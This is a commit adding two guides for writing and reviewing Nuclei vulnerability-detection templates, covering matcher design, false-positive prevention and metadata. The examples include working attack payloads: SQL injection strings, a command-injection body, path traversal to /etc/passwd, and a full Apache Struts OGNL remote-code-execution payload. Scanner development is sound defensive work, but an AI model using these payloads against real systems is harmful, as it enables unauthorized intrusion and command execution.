Add comprehensive template creation and review guides (#12935)

- TEMPLATE-REVIEW-GUIDE.md: Internal data-driven review guide with actionable checklists and matcher quality framework
- TEMPLATE-CREATION-GUIDE.md: Complete guide for template authors with step-by-step creation workflow and examples

Both guides include:
- Vulnerability-specific matcher examples
- False positive prevention techniques
- Quality standards and best practices
- Official documentation references
- Community support channels
This commit is contained in:
Sandeep Singh
2025-08-25 19:11:47 +05:30
committed by GitHub
parent aaeb3ca807
commit 226d8f0006
2 changed files with 965 additions and 0 deletions

524
TEMPLATE-CREATION-GUIDE.md Normal file
View File

@@ -0,0 +1,524 @@
# Nuclei Template Creation Guide
**Complete Guide for Writing High-Quality Security Templates**
---
## Getting Started
### **What is a Nuclei Template?**
Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
> **📖 Official Documentation**: For comprehensive technical details, visit [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
### **Template Structure Overview**
```yaml
id: template-identifier
info:
name: Human Readable Vulnerability Name
author: your-github-username,vulnerability-discoverer-handle
severity: critical|high|medium|low|info
description: Clear explanation of what this template detects
reference:
- https://link-to-vulnerability-details
classification:
cve-id: CVE-2024-1234
cwe-id: CWE-89
tags: cve,sqli,rce
metadata:
verified: true
shodan-query: 'http.title:"VulnApp"'
http:
- method: GET
path:
- "{{BaseURL}}/vulnerable-endpoint"
matchers:
- type: word
words:
- "vulnerability_indicator"
part: body
```
---
## Step-by-Step Template Creation
### **Step 1: Research and Understand the Vulnerability**
Before writing any code:
- [ ] Read the original vulnerability disclosure/advisory
- [ ] Understand the root cause and exploitation method
- [ ] Identify unique indicators that prove vulnerability exists
- [ ] Test the vulnerability in a controlled environment
- [ ] Document the vulnerable versions and affected components
### **Step 2: Choose Your Template ID and Info**
```yaml
# Use descriptive, short identifiers
id: apache-struts-ognl-injection # GOOD - clear and specific
id: vuln-app-rce # BAD - too generic
info:
name: Apache Struts OGNL Code Injection # Format: "Vendor Product - Vulnerability Type"
author: your-github-username,original-researcher-handle # Always credit the discoverer
severity: critical # Based on CVSS score and real-world impact
```
### **Step 3: Write Accurate Description and References**
```yaml
info:
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability that allows remote code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
```
### **Step 4: Add Proper Tags and Metadata**
```yaml
info:
tags: cve,cve2018,rce,apache,struts,ognl # Be specific and comprehensive
metadata:
verified: true # Only if you've tested it yourself
max-request: 1 # Auto-calculated, don't set manually
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
```
---
## Writing Effective HTTP Requests
### **Basic HTTP Template Structure**
```yaml
http:
- method: GET|POST|PUT|DELETE
path:
- "{{BaseURL}}/endpoint" # Dynamic BaseURL variable
- "{{Hostname}}/another-path" # Alternative dynamic variable
headers:
User-Agent: Custom-Agent-String
Content-Type: application/json
Origin: https://example.com
body: |
{"param": "{{payload}}"}
disable-cookie: false # Cookies reused by default (optional)
matchers-condition: and # Require ALL matchers to pass
matchers:
- type: word
words:
- "success_indicator"
part: body
```
> **📖 Reference**: [HTTP Template Syntax](https://docs.projectdiscovery.io/templates/protocols/http) for complete protocol details
### **Using Variables for Flexibility**
```yaml
variables:
username: "admin"
payload: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/login"
body: |
username={{username}}&password={{payload}}
```
---
## Matcher Best Practices
### **🚫 Avoid Weak Matchers**
```yaml
# BAD - Too generic, will match many innocent systems
matchers:
- type: word
words:
- "error"
- "admin"
- "login"
part: body
```
### **✅ Use Strong, Specific Matchers**
```yaml
# GOOD - Specific to the vulnerability
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Specific application version
- "Build 2024.03.15" # Specific build
part: body
- type: status
status:
- 200
- type: word
words:
- "OGNL_INJECTION_SUCCESS_{{randstr}}" # Proof of exploitation
- "java.lang.ProcessBuilder" # Technical indicator
part: body
condition: or # Any of these proves exploitation
```
### **Multi-Layer Verification Strategy**
```yaml
# Layer 1: Identify the application
# Layer 2: Confirm vulnerable version
# Layer 3: Prove vulnerability exists
matchers-condition: and
matchers:
- type: word # Layer 1: App identification
words:
- "Apache Struts Framework"
- "struts-tags"
part: body
- type: regex # Layer 2: Version detection
regex:
- 'Struts 2\.[0-4]\.[0-9]+' # Vulnerable version range
part: body
- type: word # Layer 3: Exploitation proof
words:
- "ognl.OgnlException"
- "java.lang.SecurityException"
part: body
condition: or
```
---
## Testing Your Template
### **Before Submitting - Test Thoroughly**
```bash
# Test against known vulnerable instance
nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
# Test against patched/non-vulnerable systems
nuclei -t your-template.yaml -target http://patched-app.local -debug
# Test against similar but different applications
nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
```
### **Validation Checklist**
- [ ] Template detects the vulnerability on vulnerable systems
- [ ] Template does NOT trigger false positives on:
- [ ] Patched versions of the same application
- [ ] Similar applications from the same vendor
- [ ] Generic web frameworks or CMSs
- [ ] Default server error pages
- [ ] Matchers are specific enough to avoid honeypots
- [ ] References are valid and accessible
- [ ] YAML syntax is correct (`nuclei -validate -t template.yaml`)
---
## Common Vulnerability Types - Template Patterns
### **SQL Injection Detection**
```yaml
http:
- method: POST
path:
- "{{BaseURL}}/search"
body: "q={{payload}}"
payloads:
payload:
- "1' OR '1'='1"
- "1' UNION SELECT version()--"
- "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument"
- "You have an error in your SQL syntax"
- "Microsoft OLE DB Provider for ODBC"
part: body
```
### **Remote Code Execution (RCE)**
```yaml
variables:
cmd: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/execute"
body: |
command={{cmd}} && echo {{marker}}
matchers:
- type: word
words:
- "{{marker}}"
part: body
- type: regex
regex:
- 'root|administrator|www-data'
part: body
```
### **Local File Inclusion (LFI)**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/view?file=../../../etc/passwd"
- "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
matchers:
- type: regex
regex:
- 'root:.*?:[0-9]*:[0-9]*:' # Linux /etc/passwd
- '\[fonts\]' # Windows win.ini
part: body
```
### **Authentication Bypass**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/admin"
headers:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
matchers-condition: and
matchers:
- type: word
words:
- "Admin Dashboard"
- "Administrative Panel"
part: body
- type: status
status:
- 200
```
---
## Advanced Template Features
### **Using Extractors for Data Collection**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/info"
extractors:
- type: regex
name: version
regex:
- 'Version: ([0-9\.]+)'
group: 1
matchers:
- type: word
words:
- "Application Info"
part: body
```
### **Conditional Logic with DSL**
```yaml
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "vulnerable_pattern")'
- 'len(body) > 1000'
condition: and
```
### **Network Templates for Non-HTTP Services**
```yaml
network:
- inputs:
- data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}" # GET / HTTP/1.1
host:
- "{{Hostname}}"
port: 8080
matchers:
- type: word
words:
- "Server: VulnServer/1.0"
part: data
```
---
## Submission Guidelines
### **Preparing Your Template for Submission**
1. **Validate Syntax**
```bash
nuclei -validate -t your-template.yaml
```
2. **Test Thoroughly**
```bash
nuclei -t your-template.yaml -target vulnerable-instance.com -debug
```
3. **Check for Existing Templates**
- Search the repository for similar vulnerabilities
- Avoid duplicating existing detection logic
- If improving existing template, explain why
4. **Follow Naming Conventions**
- Place in appropriate directory (`cves/2024/`, `exposures/`, `misconfiguration/`)
- Use descriptive filename: `CVE-2024-1234.yaml` or `app-name-vuln-type.yaml`
### **Pull Request Best Practices**
- **Title**: Clear description of what the template detects
- **Description**: Include:
- Link to vulnerability details/advisory
- Affected versions
- Testing methodology
- Screenshots/proof if possible
- **Testing**: Show debug output proving detection works
- **Test Instances**: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email templates@projectdiscovery.io
- **References**: Include all relevant security advisories
> **💡 Pro Tip**: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
---
## Quality Checklist
### **Before Submitting Your Template**
- [ ] **Functionality**
- [ ] Template detects the intended vulnerability
- [ ] No false positives on tested systems
- [ ] Matchers are specific and accurate
- [ ] **Attribution**
- [ ] Original vulnerability discoverer credited in author field
- [ ] All references included and valid
- [ ] Proper CVSS scoring if applicable
- [ ] **Quality**
- [ ] YAML syntax is valid
- [ ] Follows nuclei template conventions
- [ ] Includes appropriate tags and metadata
- [ ] **Testing**
- [ ] Tested against vulnerable instance
- [ ] Tested against non-vulnerable similar systems
- [ ] Debug output reviewed for accuracy
- [ ] **Documentation**
- [ ] Clear description of what template detects
- [ ] Proper severity classification
- [ ] Complete reference list
---
## Examples of High-Quality Templates
### **Complete CVE Template Example**
```yaml
id: CVE-2024-1234-apache-struts-rce
info:
name: Apache Struts 2.x OGNL Code Injection
author: your-github-username,original-researcher-handle
severity: critical
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability in the namespace value that allows remote
code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
metadata:
verified: true
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
tags: cve,cve2018,rce,apache,struts,ognl,kev
variables:
command: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: GET
path:
- "{{BaseURL}}/${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "struts"
- "java"
part: body
condition: or
- type: regex
regex:
- 'root|administrator|www-data|apache'
part: body
```
---
## Getting Help
### **Resources**
- **Official Documentation**: [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
- **HTTP Templates**: [HTTP Protocol Documentation](https://docs.projectdiscovery.io/templates/protocols/http)
- **AI Template Creation**: [ProjectDiscovery Cloud Templates](https://cloud.projectdiscovery.io/templates) - AI-powered template generation
- **Examples**: Browse existing templates in the [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
- **Community**: Join [ProjectDiscovery Discord](https://discord.gg/projectdiscovery) for questions and discussions
- **Testing**: Use local vulnerable applications for safe testing
- **Test Instances**: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
> **💡 Pro Tip**: Sharing test instances with reviewers significantly accelerates the template review and merge process.
### **Common Issues and Solutions**
- **False Positives**: Make matchers more specific, add version detection
- **YAML Errors**: Use online YAML validators, check indentation
- **Template Not Triggering**: Verify target is actually vulnerable, check debug output
- **Performance Issues**: Minimize requests, optimize matchers
---
*This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.*

441
TEMPLATE-REVIEW-GUIDE.md Normal file
View File

@@ -0,0 +1,441 @@
# Nuclei Template Review Guide
**Best Practices for Template Quality and Security**
---
## Quick Reference
### **Review Priority Areas**
1. **Quality & Consistency** - Formatting, syntax, field standardization
2. **Metadata Enhancement** - Search queries, classifications, documentation
3. **Tags Optimization** - Category alignment, searchability
4. **Classification** - CVE/CWE alignment, severity scoring
5. **Matcher Refinement** - Detection logic, false positive prevention
### **Common Areas for Improvement**
- **Community Contributions:** Often need metadata and classification enhancements
- **Template Reviews:** Focus on technical accuracy and matcher quality
---
## Pre-Review Checklist
### **Template Completeness Verification**
```yaml
Required Fields Checklist:
- [ ] id: Short, descriptive (max 3-4 words)
- [ ] name: Format "Vendor Product Version - Vulnerability"
- [ ] author: Template creator, vulnerability discoverer (comma-separated)
- [ ] severity: info/low/medium/high/critical (CVSS aligned)
- [ ] description: Clear vulnerability explanation
- [ ] reference: Valid POC/advisory links
- [ ] classification: CVE-ID, CWE-ID if applicable
```
### **Author Attribution Best Practices**
```yaml
# GOOD - Include both template author and vulnerability discoverer in author field
info:
author: template-author-github-username,original-discoverer-handle
description: SQL injection vulnerability in Example App v2.1.0 allows remote code execution.
reference:
- https://github.com/security_researcher/advisories/example-app-sqli
- https://nvd.nist.gov/vuln/detail/CVE-2024-1234
# EXAMPLES of proper author attribution
info:
author: princechaddha,0xd0ff9 # Template by princechaddha, vulnerability found by 0xd0ff9
info:
author: dhiyaneshDk,researcher_name # Template by dhiyaneshDk, discovered by researcher_name
info:
author: geeknik,@security_handle # Template by geeknik, found by @security_handle
```
### **Metadata Quality Check**
```yaml
Enhanced Metadata:
- [ ] verified: true (if tested with debug data)
- [ ] shodan-query: Search dork for asset discovery
- [ ] fofa-query: Alternative search engine query
- [ ] tags: Appropriate categories (cve, rce, lfi, etc.)
Note: max-request is auto-generated and doesn't need manual input
```
---
## Matcher Quality Framework
### **🚫 Weak Matchers (High False Positive Risk)**
#### **Generic Response Patterns - AVOID**
```yaml
# BAD - Matches any admin interface globally
matchers:
- type: word
words:
- "admin"
- "login"
- "dashboard"
part: body
```
**Problem:** These terms appear on millions of legitimate systems
#### **Version-Only Detection - AVOID**
```yaml
# BAD - Matches all versions, not just vulnerable ones
matchers:
- type: regex
regex:
- 'WordPress [0-9]+\.[0-9]+'
part: body
```
**Problem:** Doesn't verify actual vulnerability presence
### **✅ Strong Vulnerability-Specific Matchers**
#### **Multi-Layer Verification Strategy**
```yaml
# GOOD - Combines application + version + vulnerability proof
matchers-condition: and
matchers:
- type: word # Layer 1: Identify specific application
words:
- "Grafana Dashboard"
- "grafana.com/login"
part: body
- type: regex # Layer 2: Confirm vulnerable version range
regex:
- 'version.*[6-8]\.[0-5]\.[0-9]'
part: body
- type: word # Layer 3: Verify exploit success
words:
- "unauthorized_data_access"
- "/api/snapshots/{{randstr}}"
part: body
condition: or
```
#### **CVE-Specific Template Example**
```yaml
# CVE-2024-1234 - Specific Application RCE
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Exact vulnerable version
- "Build 2024.03.15" # Specific build identifier
part: body
- type: status # Expected response code
status:
- 200
- type: word # Exploitation proof
words:
- "RCE_EXECUTION_SUCCESS_{{randstr}}" # Unique payload response
- "nuclei_test_command_output" # Command execution indicator
part: body
condition: or
```
#### **Panel Detection - Unique Signatures**
```yaml
# FortiGate Panel - Multiple unique identifiers
matchers-condition: and
matchers:
- type: word
words:
- "<title>FortiGate - Login</title>" # Specific page title
- "Fortinet, Inc." # Vendor attribution
- "FortiOS Version:" # Version indicator
part: body
condition: or
- type: regex
regex:
- '/images/fortinet_logo_[0-9]+\.png' # Unique asset pattern
- 'build_[0-9]{4}_[0-9]{6}' # Build number format specific to FortiGate
part: body
condition: or
```
---
## False Positive Prevention
### **High-Risk Scenarios to Test**
Before approval, verify matchers DON'T trigger on:
1. **Related Non-Vulnerable Systems**
- Same vendor, different products
- Same application, patched versions
- Similar interfaces, different implementations
2. **Generic Web Applications**
- Common frameworks (WordPress, Django, Rails)
- Standard admin panels (cPanel, Plesk)
- Default server pages (Apache, Nginx)
3. **Honeypot/Security Tools**
- Intentionally deceptive responses
- Security scanners mimicking vulnerabilities
- Research environments with fake responses
### **Matcher Testing Checklist**
```yaml
Required Validation Steps:
- [ ] Test against 3+ non-vulnerable similar applications
- [ ] Verify unique response elements are truly unique
- [ ] Confirm payload/exploitation indicators are specific
- [ ] Check matcher doesn't trigger on default installations
- [ ] Validate version detection accuracy (if applicable)
```
---
## Review Categories by Impact
### **1. Metadata Enhancement**
**Most Common Missing Elements:**
- `shodan-query` for asset discovery
- `fofa-query` for alternative search engines
- `classification` fields for vulnerability tracking
**Review Actions:**
```yaml
# Add asset discovery capabilities
metadata:
verified: true
shodan-query: 'http.title:"Grafana" http.component:"Grafana"'
fofa-query: 'title="Grafana" && body="grafana"'
# Ensure proper classification
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-1234
cwe-id: CWE-89
```
### **2. Matcher Quality**
**Common Issues:**
- Overly broad detection patterns
- Missing context verification
- Weak exploitation proof
**Review Standards:**
```yaml
# Require multi-layer validation
matchers-condition: and # Force all conditions to match
matchers:
- type: word # Application identification
- type: status # Response validation
- type: word # Vulnerability proof
condition: or # Allow multiple proof methods
```
### **3. Severity Assessment**
**CVSS Alignment Requirements:**
- **Critical (9.0-10.0):** Remote code execution, complete system compromise
- **High (7.0-8.9):** Significant data breach, privilege escalation
- **Medium (4.0-6.9):** Information disclosure, limited access
- **Low (0.1-3.9):** Minor information leakage, requires authentication
### **4. Reference Validation**
**Required Reference Quality:**
- Original vulnerability advisory (CVE, vendor security bulletin)
- Technical analysis or proof of concept
- NIST NVD entry (if available)
- Public disclosure timeline
---
## Reviewer Action Templates
### **For Metadata Improvements**
```
Please enhance the template metadata:
- Add `shodan-query` for asset discovery: `[suggested query]`
- Include `fofa-query` for alternative search: `[suggested query]`
- Verify `classification` fields are complete
- Ensure `verified: true` with debug data if tested
```
### **For Weak Matchers**
```
The current matchers may produce false positives. Please:
- Add application-specific identifiers (exact titles, unique elements)
- Include version validation for vulnerable ranges only
- Verify exploitation proof rather than just version detection
- Test against [specific non-vulnerable scenarios]
```
### **For Severity Issues**
```
Severity should be [X] based on CVSS impact:
- Attack Vector: [Network/Adjacent/Local/Physical]
- Impact: [Complete/Partial/None] for CIA triad
- Required Privileges: [None/Low/High]
- Reference CVSS calculator: [link]
```
### **For Missing References**
```
Please add comprehensive references:
- Original vulnerability disclosure/advisory
- Technical analysis or exploitation details
- Official vendor security bulletin (if available)
- NIST NVD entry: https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXX
```
### **For Missing Vulnerability Discoverer Attribution**
```
Please credit the original vulnerability discoverer in the author field:
- Update author field: "template-author,vulnerability-discoverer" (comma-separated)
- Example: "princechaddha,0xd0ff9" or "dhiyaneshDk,researcher_name"
- Include original disclosure/research reference
- Ensure proper credit for both template creator AND vulnerability researcher
```
---
## Quality Standards & Goals
### **Template Accuracy Goals**
- **False Positive Rate:** <2% (verified through community feedback)
- **Detection Coverage:** 95%+ for vulnerable instances
- **Metadata Completeness:** 100% required fields, 80%+ enhanced fields
### **Review Consistency Standards**
- **Response Time:** Initial review within 48 hours
- **Feedback Quality:** Specific, actionable guidance with examples
- **Approval Criteria:** All quality checks pass, tested when possible
### **Community Impact**
- **Contribution Quality:** Monitor improvement patterns in repeat contributors
- **Review Effectiveness:** Track issues caught in review vs. post-merge
- **Knowledge Transfer:** Successful elevation of community template quality
---
## Advanced Review Techniques
### **Template Testing Environment Setup**
```bash
# Recommended testing workflow
nuclei -t new-template.yaml -target vulnerable-lab.com -debug
nuclei -t new-template.yaml -target patched-system.com -debug
nuclei -t new-template.yaml -list target-variety.txt -silent
```
### **Vulnerability Context Research**
1. **CVE Database Cross-Reference:** Verify vulnerability details match template scope
2. **Vendor Advisory Review:** Confirm affected versions and exploitation requirements
3. **Community Disclosure Analysis:** Check for additional context or limitations
4. **Exploit Database Validation:** Compare detection approach with known exploits
### **Review Documentation Standards**
- Document testing methodology in PR comments
- Provide specific improvement suggestions with examples
- Reference similar high-quality templates as comparison
- Explain security rationale for matcher requirements
---
## Practical Examples by Vulnerability Type
### **SQL Injection Templates**
```yaml
# WRONG - Generic database errors (match many systems)
matchers:
- type: word
words:
- "mysql_fetch"
- "SQL syntax"
# RIGHT - Specific to vulnerability context
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument" # Specific error pattern
- "WHERE id='1' OR '1'='1'" # Injection payload context
- "users table does not exist" # Application-specific error
part: body
condition: and
```
### **RCE Templates**
```yaml
# WRONG - Generic command output
matchers:
- type: word
words:
- "root"
- "/bin/bash"
# RIGHT - Command execution in vulnerability context
matchers:
- type: regex
regex:
- 'uid=0\(root\) gid=0\(root\) groups=0\(root\)' # Complete whoami output
part: body
- type: word
words:
- "nuclei_rce_test_{{rand_base(6)}}" # Unique payload identifier
part: body
```
### **File Upload Vulnerabilities**
```yaml
# WRONG - Generic file upload success
matchers:
- type: word
words:
- "uploaded successfully"
- "file saved"
# RIGHT - Vulnerability-specific upload validation
matchers:
- type: word
words:
- "nuclei_test_{{randstr}}.php uploaded to /var/www/uploads/" # Specific path + file
- "File permissions: 644" # System response
- "<?php echo 'nuclei_upload_test'; ?>" # File content verification
part: body
condition: and
```
---
## Multi-Layer Matcher Strategy
```yaml
# Use multiple verification layers
matchers-condition: and
matchers:
- type: word # Layer 1: Identify the application
words:
- "VulnApp Management Console"
part: body
- type: regex # Layer 2: Confirm vulnerable version
regex:
- 'Version: [1-2]\.[0-5]\.[0-9]'
part: body
- type: word # Layer 3: Verify vulnerability exists
words:
- "debug_info_exposed"
- "configuration_leak"
part: body
condition: or
```
---
*This guide provides comprehensive standards for creating and reviewing high-quality nuclei templates that are accurate, specific, and minimize false positives.*